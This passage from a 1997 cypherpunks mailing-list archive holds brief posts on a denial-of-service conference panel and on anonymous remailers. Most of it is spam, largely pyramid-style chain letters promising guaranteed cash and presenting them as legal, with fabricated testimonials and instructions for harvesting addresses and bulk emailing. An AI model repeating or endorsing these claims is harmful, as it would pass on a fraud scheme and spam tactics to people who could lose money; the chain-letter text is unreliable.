hO0AMxPz/gE/2beYXBNFuDRU7PIRINhHCmoOtX+xxbQDEK8d/BRUwTBhS0XnY6Ek
6e1yNsEOaGZxR9NLNo3sYaaTpAcOZCDF4WQkfywpFXcyVyHWd5HSi9Oo5r2opnvK
evH9JaLE2OO7iaqEuVYay4Tv9OB6YegUNmBhp3sSmQgzrVdvtfFZiQ==
=Fawj
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 1 Oct 1997 06:32:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [CFP98] "How to Choke the Net"
In-Reply-To: <v04001401b055e4866f2e@[205.180.136.85]>
Message-ID: <199709302128.WAA03408@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dave Del Torto <ddt@pgp.com> writes:
> Cypherpunks,
> 
> The CFP98 program committee is considering a panel (or possibly a
> pre-conference tutorial) for next year entitled something like "How to
> Choke the Net." (The provocative title is NOT intended to espouse the
> practice of net-choking NOR to provide hands-on techniques.)
>
> [...]
>
> Discussion topics may include host authentication, denial-of-service
> attacks, DNS, IPSEC, routing issues and SYN-flooding, etc. 

Better keep you-know-who away from that conference, or he'll be
calling for all and sundry to be locked up for discussing something
which might result in his system going down :-)

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 1 Oct 1997 05:16:36 +0800
To: cypherpunks@ssz.com
Subject: Re: Remailers and ecash (fwd)
In-Reply-To: <199709300125.UAA14206@einstein.ssz.com>
Message-ID: <199709302052.WAA12546@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> wrote:

> What besides raising hell anonymously, laundering money, and defeating
> merchant purchase traffic analysis are commercial anonymous remailers
> good for?

Avoiding spam.  Anyone who doesn't use remailers is sure to get their
mailbox full of crap.

Employment related concerns.  I know of many people on this list who
have had problems along these lines.

The rest of your comment is utterly stupid.  How many people do you
know who use remailers to launder money?  Zero, I'd bet.  You need to
spend a little less time listening to mindless political rants and more
time observing the real world.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 1 Oct 1997 23:21:05 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Why? (fwd)
In-Reply-To: <199710010249.VAA17613@einstein.ssz.com>
Message-ID: <v0300781bb05794da144e@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:49 PM -0700 9/30/97, Jim Choate wrote:
>My original question still stands, why would I or any other party choose to
>use an anonymous remailer for anything other than the original 3 items I
>mentioned previously.

Black Unicorn uses a nym to express opinions he expects his coworkers and
acquaintances would not like.  Anonymous remailers can be used for the same
purpose.  I have heard of people's posts being brought up in employment
interviews.  A rational person might want to express controversial opinions
anonymously.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Wed, 1 Oct 1997 16:13:19 +0800
To: cypherpunks@algebra.com
Subject: "I'm a programmer and I vote"
Message-ID: <199710010653.XAA17108@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



How about a bumper sticker that says:

    "I'm a programmer and I vote"

Check out:

    http://www.news.com/Perspectives/tc/tc9_29_97a.html

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Judith <judith@SABOTAGE.ORG>
Date: Sun, 2 Nov 1997 08:00:46 +0800
To: cypherpunks@ssz.com
Subject: french cypherpunks
Message-ID: <19970901014525.47385@damage.sabotage.org>
MIME-Version: 1.0
Content-Type: text/plain



Hi there,


Are there any french cypherpunks or french
speaking canadian cypherpunks on this list ?

I have to discuss privacy on the net in french.
To read some articles on this subject would be very helpfull
to learn to use the right type of jargon: the dutch-french dictionary 
does not handle jargon of any type. 

Btw: did anybody scan their photo's of the HIP '97 (in this case
near the cypherpunkerstent-site) yet?
I couldn't find any.


Merci,

best regards,




Judith





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Announce@gosnet.com
Date: Sun, 31 Aug 1997 18:14:15 -0700 (PDT)
To: Announce@gosnet.com
Subject: Live Live Live
Message-ID: <199706152326MAA19814@post.uu.net>
MIME-Version: 1.0
Content-Type: text/plain


                         New Adult Site

	Experience LIVE adult shows inside your Browser* without any additional plug ins!  See shows broadcasted LIVE from the USA with some of the hottest girls on the Internet.  Unlike any other site, you can WATCH the shows WITHOUT paying per minute charges. Plus, view one of the best maintained picture archives around.   Must be 18 years of age or older.

	Don't just take our word for it ==>Take an absolutely FREE tour and experience the future of adult entertainment on the internet, today.
		
	goto    http://www.gosnet.com/kittycat   and click on Guest


* Must be running Netscape 3.0 or higher to view the streaming feed.
  Members can watch live show with NO per minute charges. 
  Must be 18 years of age or older to take the Free Tour.
  

To be placed on the Universal E-mail Remove List e-mail a letter to kittycat@gosnet.com and Place the word Remove in the Subject Line this will place you in the UERL pool and will help stop unwanted e-mail from other commercial e-mailers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 00479486@22629.com
Date: Mon, 1 Sep 1997 09:35:20 -0700 (PDT)
To: TBest@JTBill.com
Subject: Your Web Page
Message-ID: <319702170025.GAA08056@jtbill.com>
MIME-Version: 1.0
Content-Type: text/plain


Now you can submit your Web Page to over 620 Internet indexes in a few 
short minutes and watch your traffic soar!

The Central Registry has helped thousands of sites like yours greatly
improve the performance of their Web Page.  The more indexes you are
registered in, the more traffic your Web Page is going to receive.
Being registered in "the top" indexes is not enough.  Why not have your
Web Page registered in every index throughout the world that will 
generate extra traffic for you?

The Central Registry is the leader in Web Page registration and promotion.
We are the oldest and most well established service of this type on the
Internet.  We process more Web Page registrations than all of our
competitors combined.  The Central Registry is the only service that
dynamically asks you for the exact same information each index requests,
assuring accurate and thorough registration.  Unlike most services, we do
not exclude indexes with larger input forms and various detailed 
categories.  No other registration service can compare to our value,
professionalism and performance.

Please come visit our web page today at: http://www.CentralRegistry.com
and see what some of our customers have had to say about the overwhelming 
traffic increases they have seen as a result of being registered 
everywhere.  Thank you.


Sincerely,


The Central Registry
http://www.CentralRegistry.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dawn@iTribe.net
Date: Sun, 31 Aug 1997 16:48:55 -0700 (PDT)
To: succes@compuserve.net
Subject: In the comfort of home
Message-ID: <199702170025.JTT0987@compuserve.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#ffff80">Subj:	MAKE MONEY with your COMPUTER too...it's EASY!
Date:	97-08-22 12:53:52 EDT
From:	18112320@gte.net
Reply-to:	the.money.tree@make.money.on.line.21.com
To:	all.investors.21@investing.on.the.net.com



<FONT  COLOR="#0000ff" SIZE=3><B>PLEASE TAKE THE TIME TO READ THIS.
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***********We Will SEND 5000 E-Mails FREE************

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 Everything below this line is what was sent to me.

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______________________________________________________________
</FONT><FONT  COLOR="#ff0000" SIZE=3>
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"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:  

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P O BOX 7247
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</B>
___________________________________________________________________
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11006 4th St. North
Box 160
St. Petersburg, FL 33716</B>
______________________________________________________________________

</P><P ALIGN=CENTER></FONT><FONT  COLOR="#0000ff" SIZE=3><B>HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$</B>
</P><P ALIGN=LEFT>
</P><P ALIGN=JUSTIFY>Let's say you decide to start small just to see how it goes.  Assume your goal is to get 10 people to participate on your first level. (Placing a lot of FREE ads on the internet could EASILY get a better response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION gets ONLY 10 downline members.  Follow this example for the STAGGERING results below.
</P><P ALIGN=LEFT>
1st level--your 10 members with $5                                      $50
2nd level--10 members from those 10 ($5 x 100)                  $500
3rd level--10 members from those 100 ($5 x 1,000)            $5,000
4th level--10 members from those 1,000 ($5 x 10,000)      $50,000
                                 </FONT><FONT  COLOR="#000000" SIZE=4><B>THIS TOTALS-----------> $55,550<FONT  COLOR="#0000ff" SIZE=3></B>

</P><P ALIGN=JUSTIFY>Remember friends, this is assuming that the people who participate only recruit 10 people each.  Dare to think for a moment what would happen if everyone got 20 people to participate!  Some people get 100's of recruits!  THINK ABOUT IT!

By the way, your cost to participate in this is practically nothing.You obviously already have an internet connection and email is FREE!!! REPORT#3 will show you the best methods for bulk emailing and purchasing email lists.
</P><P ALIGN=LEFT>
</P><P ALIGN=CENTER><B>REMEMBER:  
Approx. 50,000 new people get online monthly!
</P><P ALIGN=LEFT>
</P><P ALIGN=CENTER>  <I>ORDER YOUR REPORTS NOW!!!</I>
</P><P ALIGN=LEFT>  

</P><P ALIGN=CENTER></FONT><FONT  COLOR="#ff0000" SIZE=3>*******TIPS FOR SUCCESS*******</B>
</P><P ALIGN=LEFT>
</P><P ALIGN=JUSTIFY>TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY, so you will have them when the orders start coming in because:

When you receive a $5 order, you MUST send out the requested product/report to comply with the U.S. Postal & Lottery Laws, Title 18,Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,also Code of Federal Regs. vol. 16, Sections 255 and 436, which state that "a product or service must be exchanged for money received."
</P><P ALIGN=LEFT>
*  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

</P><P ALIGN=JUSTIFY>*  Be patient and persistent with this program.  If you follow the instructions exactly                                                           the results WILL undoubtedly be SUCCESS!
</P><P ALIGN=LEFT>
*  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!

</P><P ALIGN=CENTER><B>*******YOUR SUCCESS GUIDELINE*******</B>
</P><P ALIGN=LEFT>
</P><P ALIGN=JUSTIFY>The check point that guarantees your success is simply this:
You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If you don't within two weeks, advertise more and send out more programs until you do.  Then, a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you don't, advertise more and send out more programs until you do.  Once you have received 100, or more orders for REPORT #2, YOU CAN RELAX, because you will be on your way to the BANK!  -OR-  You can DOUBLE your efforts!
</P><P ALIGN=LEFT>
REMEMBER:  Every time your name is moved down on the list you are in front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS by watching what report people are ordering from you. 

</P><P ALIGN=CENTER><B><I>IT'S THAT EASY!!!</B></I>
</P><P ALIGN=LEFT>
</P><P ALIGN=JUSTIFY>NOTE:  IF YOU NEED HELP with starting a business, registering a business name,  how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency) for free help and answers to questions. Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.
</P><P ALIGN=LEFT>  


</P><P ALIGN=CENTER></FONT><FONT  COLOR="#0000ff" SIZE=3>******* T  E  S  T  I  M  O  N  I  A  L  S *******
</P><P ALIGN=LEFT>
</P><P ALIGN=JUSTIFY>        This program does work, but you must follow it EXACTLY! Especially the rule of not trying to place your name in a different position, it won't work, you'll lose a lot of money.  I'm living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to financial security.  If you are a fellow Christian and are in financial trouble like I was, consider this a sign.  I DID!
</P><P ALIGN=LEFT>                                        Good Luck & God Bless You,
                                        Sincerely, Chris Johnson

</P><P ALIGN=JUSTIFY>P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks like piled up on the kitchen table?...IT'S AWESOME!
</P><P ALIGN=LEFT>
</P><P ALIGN=JUSTIFY>        My name is Frank.  My wife Doris and I live in Bel-Air, MD. I am a cost accountant with a major U.S. Corporation and I make pretty good money.  When I received the program I grumbled to Doris about receiving "junk mail"!  I made fun of the whole thing, spouting my knowledge of the population and percentages involved.  I "knew" it wouldn't work.  Doris totally ignored my supposed intelligence and jumped in with both feet.  I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had received over 50 responses.  Within 45 days she had received over $147,200 in $5 bills! I was stunned.  I was sure that I had it all figured and that it
wouldn't work...I AM a believer now.  I have joined Doris in her "little" hobby.  I did have seven more years until retirement,  but I think of the "rat race" and it's not for me...We owe it all to MLM.
</P><P ALIGN=LEFT>                                        Frank T., Bel-Air, MD

</P><P ALIGN=JUSTIFY>        This is the only realistic money-making offer I've ever received.  I participated because this plan truly makes sense. I was surprised when the $5.00 bills started filling my mail box. By the time it tapered off I had received over 8,000 orders with over $40,000 in cash.  Dozens of people have sent warm personal notes too, sharing the news of their good fortunes!  It's been WONDERFUL.
</P><P ALIGN=LEFT>                                        Carl Winslow Tulsa, OK

</P><P ALIGN=JUSTIFY>        The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time.  I was approached several times before I checked this out.  I joined just to see what one could expect in return for the minimal effort and money required.  Initially I let no one in the organization know that I was an attorney and, to my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.
</P><P ALIGN=LEFT>                                Sincerely yours, Phillip A. Brown

</P><P ALIGN=JUSTIFY>        This plan works like GANG-BUSTERS!!!  So far I have had 9,735 total orders...OVER $48,000!!!  I hope I have sparked your own excitement, if you follow the program exactly, you could have the same success I have, if not better.  Your success is right around the corner, but you must do a little work.
</P><P ALIGN=LEFT>                                        Good Luck!  G. Bank

</P><P ALIGN=JUSTIFY>        Not being the gambling type, it took me several weeks to make up my mind to participate in this plan.  But conservative that I am I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back.  Boy I was surprised when I found my medium-size post office box crammed with orders.  After that it got so over-loaded that I had to start picking up my mail at the window.  I'll make more money this year than any 10 years of my life before.  The nice thing about this deal is that it doesn't matter where in the U.S. the people live. There simply isn't a better investment with a faster return.
</P><P ALIGN=LEFT>                                Mary Rockland, Lansing, MI

</P><P ALIGN=JUSTIFY>        This is my third time to participate in this plan.  We have quit our jobs, and quite soon we will buy a home on the beach and live off the interest on our money.  The only way on earth that this plan will work for you is if you do it.  For your sake, and for your family's sake don't pass up this golden opportunity.  Remember, when you order your four reports, SEND CASH.  Checks have to clear the bank and create too many delays.  Good luck and happy spending!
</P><P ALIGN=LEFT>                                        Charles Fairchild, Spokane, WA

</P><P ALIGN=JUSTIFY>        Typically when I look at a money-making deal I want to know if the company is strong, will it be here when it's time for my big pay off.  In this crazy thing there is no company intervention for management to blow it.  Just people like me ordering directly from the source!  Interesting...I had a couple of projects I'd been trying to fund to no avail so I thought; Why not give it a try?  Well 2 1/2 weeks later the orders started coming in.  One project is funded and I'm sure the other will be soon!
</P><P ALIGN=LEFT>                                        Marilynn St. Claire, Logan, UT

</P><P ALIGN=CENTER><B>We could be printing YOUR testimonial next!!!</B>  

</FONT><FONT  COLOR="#ff0000" SIZE=4><B>ORDER YOUR REPORTS TODAY AND GET
STARTED DOWN THE ROAD TO YOUR
FINANCIAL FREEDOM!!!</FONT><FONT  COLOR="#000000" SIZE=3></B>
</P><P ALIGN=LEFT>



<FONT  COLOR="#0f0f0f" BACK="#fffffe" SIZE=3>

-
        
Comments: Authenticated sender is <the.money.tree@make.money.on.line.21.com>
</FONT></FONT><FONT  COLOR="#000000" BACK="#FFFFFF" SIZE=3>
</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: yourfriend@tele.ntnu.no
Date: Tue, 2 Sep 1997 02:43:35 -0700 (PDT)
To: Friend@public.com
Subject: per inquiry advertising
Message-ID: <199709020934.LAA20764@telesun>
MIME-Version: 1.0
Content-Type: text/plain



     Per Inquiry Advertising
               Why pay For Space And Circulation
                    When You Can Get It Free?


	Your product, service, business opportunity or 900# can be
continuously publicized in various National Print Media and
you simply pay for your responses on a Per Inquiry basis. 
But wait, there's more!  You'll get free copywriting service.
Yes, because we want to generate as many qualified responses
or 900# calls for you as possible, you'll get on-target ads
written by direct marketing professionals on our staff who
have decades of experience.

   Simply Call:   1-201-991-3184 
     Be sure to ask for:    Info Kit #91005 
                         
	For full details without cost or obligation, call now. 
To speak to a company representative live, call 10 am to 5 pm
EST Monday-Saturday. Sorry, this program is only available in the
U.S. and Canada. 

	Ideal For: Publicizing & Brokering #900 Lines - Business
Products & Services MLM's - Distributor Recruiting - Financial
Offers - Consumer Products & Services

RS-Independent Distributor!









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Amanda@aol.com
Date: Tue, 2 Sep 1997 03:54:17 -0700 (PDT)
To: darlene@uunet.net
Subject: Best Wishes
Message-ID: <472649088220Unn93756@pagenet.com>
MIME-Version: 1.0
Content-Type: text/plain


CONTINUE READING ONLY IF YOU ARE LOOKING FOR A BUSINESS OPPORTUNITY THAT IS ABSOLUTELY GUARANTEED TO MAKE 
MONEY!!!

You are about to make from $5,000 to $50,000 in less than 90 days!

Don't Stop Reading!!!

Read the enclosed program, THEN READ IT AGAIN!...

The enclosed information is something that I was reluctant to try and almost tossed aside. Fortunately, I re-read everything and gave it a second thought.

After reading it several times to make sure I was reading it correctly, I couldn't believe my eyes. It is a MONEYMAKING PHENOMENON!
 I took a pencil and paper and figured it out. There is absolutely no way I wouldn't at least get my money back and I was almost guaranteed to make from $5,000 to $50,000. 
After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided that THERE WAS NOTHING TO LOSE AND A WHOLE LOT OF MONEY TO GAIN!

Read the following description of how the program achieves instant success:

Initially, I sent out 5,000 e-mails. I obtained a list for $35.00 from a company mentioned in one of the reports that I received by responding to the program. 
The great thing about e-mail is that I didn't need any money for printing or to send out the initial mailing!  E-mail is free.  The only cost is the pennies it cost to fill each order.
 
In less than 1 week, I was receiving orders for Report #1. Before long, I had received 22 orders for report #1.
 When you read the guarantee in the program, you will see that to be guaranteed $50,000 "YOU MUST RECEIVE 15-20 ORDERS FOR REPORT #1 WITHIN THE FIRST TWO WEEKS! IF YOU DON'T, SEND OUT MORE 
PROGRAMS.
 Since I had received 22 orders for Report #1, the first step in making $50,000 in 20-90 days was done.  Shortly thereafter, I had received 143 orders for report #2. In the guarantee, it states that "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN THE NEXT TWO WEEKS OR YOU SHOULD SEND OUT MORE PROGRAMS." ONCE YOU HAVE 100 ORDERS FOR REPORT #2
YOU SHOULD SEND OUT MORE PROGRAMS. 
 
SIT BACK AND RELAX, YOU WILL MAKE YOUR $50,000 GOAL! Well, I had 43 more orders for report #2 than I needed, so I relaxed. With my E-Mailing of 5,000 I have received $52,000...

ALAN B. Philadelphia, PA

Remember that opportunities like this don't work if you don't try them. Also, it is very important to follow the program exactly. 
 Especially the rules of not trying to place your name in a different place. This could cost you a lot of money in lost orders.

You don't have to send out 5,000 e-mails if you do not want to. E-mail everyone you know, 50, 100 or so people. We recommend that you send out at least 1,000. Once you obtain a list (or use the search engines on your Internet browser) you can send 1,000 e-mails in about 2-3 hours depending on your modem speed.

KEEP IN MIND, IF YOUR GOAL IS $50,000... Always follow the guarantee15-20 orders for report #1 and 100 or more orders for Report #2 and you will make $50,000.

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM:

By the time you have read the enclosed information and reports, you should have determined that such a program, and one that is legal, could not have been created by an amateur.

Let me tell you a little about myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that I had always done but they were not working. 

Following the old saying "THE RICH GET RICHER AND THE POOR GET POORER", I determined that traditional methods of making money will not allow you to "get rich" or make significant advances up the ladder of success, inflation will see to that.

You have just received information that can give you a LARGE amount of money with NO RISK and JUST A LITTLE BIT OF EFFORT. You can use the money to pay off bills, start another business or whatever you want.

I should also point out that I will not see a penny of your money, nor will anyone else that has provided a testimonial for the program. I have already made over FOUR MILLION DOLLARS! I have retired from the program to pursue other interests. By the spring of next year, I wish to market my concepts through a partnership with America On Line.

Follow the program EXACTLY AS INSTRUCTED it works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people that you e-mail to could send out 50,000 programs and your name will be on every one of them. Remember the more that you send out, the more potential customers you will reach.

Before you consider deleting the program from your hard drive, get out a pencil and figure out the WORST possible response. You will see that no matter how you figure, YOU WILL MAKE MONEY...

Paul Johnson, Raleigh

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU MONEY!

Let's say that you decide to start with 2,000. Assume that you send out 2,000 programs. 
Nationwide, email response averages between 2%-5%, but lest assume the worst and say that your mailing receives .5% response. That's 10 orders for report #1. Remember, most people are greedy, they send out more than 2,000 programs-5,000-50,000 but once again, lets assume the worst and say that those 10 people send out 2,000 programs each for a total of 20,000 programs. Out of those, .5% or 100 people respond and order report #2. Those 100 mail out 2,000 programs each for a total of 200,000. Out of those, .5% or 1,000 
Order report #3. Those 1,000 send out 2,000 each for a total of 2,000,000. The .5%response adds up to 10,000 orders for report #4. Add it up...
That's 10,000 $5 bills for you for report #4 or $50,000, 1,000 $5 bills for report #3 or $5,000, 100 $5 bills for report #2 or $500, and 10 $5 bills for report #1 or $50.

$50,000+$5,000+$500+$50= $55,550!!!

Sound unbelievable??? That's how multilevel marketing works...and remember, this was a "WORST CASE" example.

THIS IS A LEGITIMATE, LEGAL MONEYMAKING OPPORTUNITY. Multi-Level Marketing is being taught at HARVARD BUSINESS SCHOOL.

INSTRUCTIONS

STEP (1)
Order all 4 reports listed by name and number. Do this by ordering the REPORT from each of the 4 names listed on the next page. For each report, send $5 cash along with a self addressed, stamped envelope (Business Size #10) to the person listed for the specific report. International orders should include $1 extra for postage. Remember that those received without self addressed stamped envelopes will not be sent. It is essential that you specify the name and number of the report requested to the person. You will need all 4 reports because you will be re-printing and re-selling them. Do not alter the names or sequence in any way, and ALWAYS provide same day service on all orders.

STEP (2)
Replace the name and address under REPORT #1 with yours, moving the one that was there down to 
Report #2. Drop the name and address under report #2 down to Report #3 moving the one that was there down to report #4. The name and address that was under report #4 is dropped from the list and this party is no doubt on their way to the BANK.
MAKE SURE YOU TYPE EACH NAME AND ADDRESS ACCURATELY! AND ABSOLUTELY DO NOT MIX UP THE NAME AND REPORT POSITIONS!

STEP (3)
Having made the required changes to the list, save it and all of the attached information as a text (.txt) file in it's own directory to be used with whatever email program that you like. Again, Report #3 will tell you the best methods of bulk emailing and acquiring email lists.

STEP (4)
Email a copy of the entire program (all of it is very important) to everyone whose email address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous opportunity. That's what I did and they love me now more than ever. You can get email lists from companies on the Internet who specialize in this-more info will be included the reports. These lists are cheap, 10,000 names for about $35.00.

IMPORTANT: You will not get good response if you use an old list, so request a new list. You will find out where to get these lists when you purchase all 4 reports.

OR, if your needs are small, use your browser's search engines and you should be able to send about 1,000 programs in just a few hours at absolutely no cost for addresses, postage or anything. Just remember to send only 5 or 10 at a time or the header list at the top of the message will be too long and none will read it (This will be explained in one of the reports).

OR...if you are more ambitious, one of the reports contains information on obtaining a bulk email list and bulk mailing to 10,000, 20,000 or even 100,000!

REQUIRED REPORTS

SEND A STAMPED, SELF-ADDRESSED ENVELOPE ALONG WITH $5 CASH FOR EACH REPORT 
AND REQUEST THE REPORT BY NUMBER AND NAME

***REPORT #1 "How to make $250,000 through multilevel sales"

ORDER REPORT #1 FROM:

DELCOM
P.O. Box 916
Walnut Cove, NC 27052

***REPORT #2 "Major Corporations and Multilevel Sales"

ORDER REPORT #2 FROM:

IMC Corp.
P.O. Box 483
Newton Square, PA 19073

***REPORT #3 "Sources for the Best Mailing Lists"

ORDER REPORT #3 FROM:

Last Creation
103 Jefferson Circle
Charles Town, WV 25414

***REPORT #4 "Evaluating Multi-level Sales Plans"

ORDER REPORT #4 FROM:

GMA 
PO Box 16182
Philadelphia, PA 19114-0182


CONCLUSION

You can use the money you earn with this program to start a business, get out of debt or JUST SPEND IT.

If you do not take advantage of this opportunity, you will have missed out. Please feel free to write the sender of this information and you will get a prompt reply.

You will be offering a legitimate product to people. After they receive the product from you, they reproduce more and resell them. It's simple free enterprise. The product is a series of 4 Financial and Business Reports. The information in these reports will not only help you in making your participation in this program more rewarding, it will help you in any other business decisions that you will make in years ahead.
You are also buying the rights to reprint and resell the reports. The one and two page reports can easily be reproduced at a copy center for about 3 cents per copy. Best wishes and Good Luck!

TIPS FOR SUCCESS:

	Send for your 4 reports immediately so that you will have them when the orders start coming in. 
When you receive the $5 for the report, you MUST send out the report! Title 18, sections 1302 and 1341 of the Postal Code state that "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".

WHILE YOU WAIT FOR THE REPORTS TO COME:

1. Name your new company. You can use your own name if you desire.
2. Get a post office box if you prefer.
3. Edit the names and addresses on the program, specifically following the instructions.
4. Obtain as many email addresses as you possibly can until you receive the information on how to obtain an emailing list.
5. Decide on the number of programs that you wish to send out. Remember, the more you send, and the quicker you send them, the more money you will make.
6. After mailing the programs, be ready to fill orders.
7. Copy the 4 reports so that you are able to send them out as soon as you receive the order. IMPORTANT: 

ALWAYS PROVIDE SAME DAY SERVICE ON THE ORDERS THAT YOU RECEIVE

8. Make certain that the letter and reports are neat and legible.

YOUR GUARANTEE

The check point for the program is simply this: You must receive 15-20 orders for REPORT #1. This is a must, if you don't, email out more programs until you do. 2 weeks later, you should receive at least 100 orders for REPORT #2, if you don't, email more programs until you do. Once you receive 100 requests for REPORT # 2 sit back and relax, you are going to make $50,000-it is a mathematically proven guarantee! 
 




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: make@money.net
Date: Wed, 12 Nov 1997 13:36:43 -0800 (PST)
To: cypherlou@aol.com
Subject: An open invitation! *!
Message-ID: <09d785449190cb7UPIMSSMTPUSR03@email.msn.com>
MIME-Version: 1.0
Content-Type: text/plain


X-Info:Filtered Via The Remove List At http://www.antispam.org
X-Info:Sent Using A Free Copy Of The Zenith Bulk Emailer



                                            
 INVITATION TO PARTICIPATE...

- For easy reading, please maximize this window -



NOTE... *** For those of you that don't have access to a server that allows you to bulk e-mail, I can give you a special gift. I know a url where you can get several different FREE software packages which will extract e-mail addresses from the internet and create mailing lists for you!  I also have a list of FREE e-mail servers that allow you to send bulk mail!  All you have to do to get them is to include a note asking me for "THE FREE E-MAIL SERVERS" and BE SURE TO ENCLOSE YOUR E-MAIL ADDRESS WITH YOUR ORDER FOR REPORT # 1 ***



I won't use up bandwidth with useless comments about this program, or testimonials from people you have never heard about before. We all know that multi-level-marketing is the wave of the future and that it is very easy to make a large amount of money in a very short time. I know, this is my second time using this program and I made well over $50,000 on my last attempt. 

Unfortunately, most people look at this type of program and toss it out, a very big mistake because they are also tossing out a chance to gain financial independance! 

This program contains all of the components necessary to make it a legal, multi-level-marketing program, a tangible product, a service, and a guarantee, so don't let someone fool you into thinking it's illegal, it's not!

Plain and simple english... This Program Works!  All it takes is a little of your time, a VERY small investment, and the will to succeed! Using the internet and e-mail, this program WILL make you a lot of money, and you can run through it again and again! 

*** For those of you that don't have access to a server that allows you to bulk e-mail, I can give you a special gift. I know a url where you can get FREE software which will extract e-mail addresses from the internet and create mailing lists for you!  I also have a list of FREE e-mail servers that allow you to send bulk mail!  All you have to do to get them is to include a note asking me for "THE FREE E-MAIL SERVERS" and BE SURE TO ENCLOSE YOUR E-MAIL ADDRESS WITH YOUR ORDER FOR REPORT # 1 ***



INCOME POTENTIAL

This plan works on a Four-level or Tier MLM Program plan.  This example that follows is
quite conservative;  however, you need to be aware that the numbers will change
(probably upward) depending on the distribution amounts, the response rate of return, and
the failure factor.  The only numbers which are imperative for you to remember, and be
able to match or exceed, are the number of orders received at Levels 1 and 2 (15 orders
and 105, respectively).  You must receive at least 15 orders for Report # 1, and 105
orders for Report # 2 for MATHEMATICALLY GUARANTEED SUCCESS.

Here is a VERY CONSERVATIVE  example of how this works.  First, you and those
following will each distribute 5,000 MLM Invitations to Participate in the program (what
you are now reading).  Second, the response rate of orders (future participants) is usually
.003 (three in a thousand).  Third, of those who respond with an order, $10, and the
willingness to enter this program, 50% will for whatever reason not redistribute it.  This is
call the failure factor.  The real number for these failures is closer to 30%, but remember
you are being presented  a very conservative example.

So, you decide to give the program a TRY and enter at Level One and redistribute 5,000
new invitations which, at the return rate of .003 will provide you with 15 orders within 10
days to 2 weeks from future participants at $10 each, totaling $150 (instant return on your
investment).  Remember, we assumed 50% of the 15 new participants will fail to
redistribute, so only 7 will send out the next 5,000 invitations (35,000 total).

At Level Two, out of these 35,000 you should receive 105 (three in a thousand) orders
within an additional 2-4 weeks at $10 totaling $1,050, and 52 new participants (half of the
105) will each send out the next 5,000 invitations for a new total of 260,000 prospects. 
>From these you will receive 780 orders at Level Three, increasing your income by $7,800. 
Then 390 (half of the 780) people will each distribute another 5,000 proposals, which will
total 1,950,000 potential participants as you reach Level Four.  With the .003 response
rate there will be 5,850 new orders equaling $58,500 !  The total for all levels is $67,500. 
Not a bad return for sending out only 5,000 e-mail invitations.

INVESTMENT

The investment necessary to enter this program is $40 for the purchase of all 4 reports. 
This is a fixed cost of purchasing the four individual reports from preexisting Program
Members at $10 each.  Beyond this, the costs are variable depending on how you choose
to redistribute the Program and the cost of reproducing the reports.  Most certainly the
order response from Level One will cover all costs even for the very aggressive
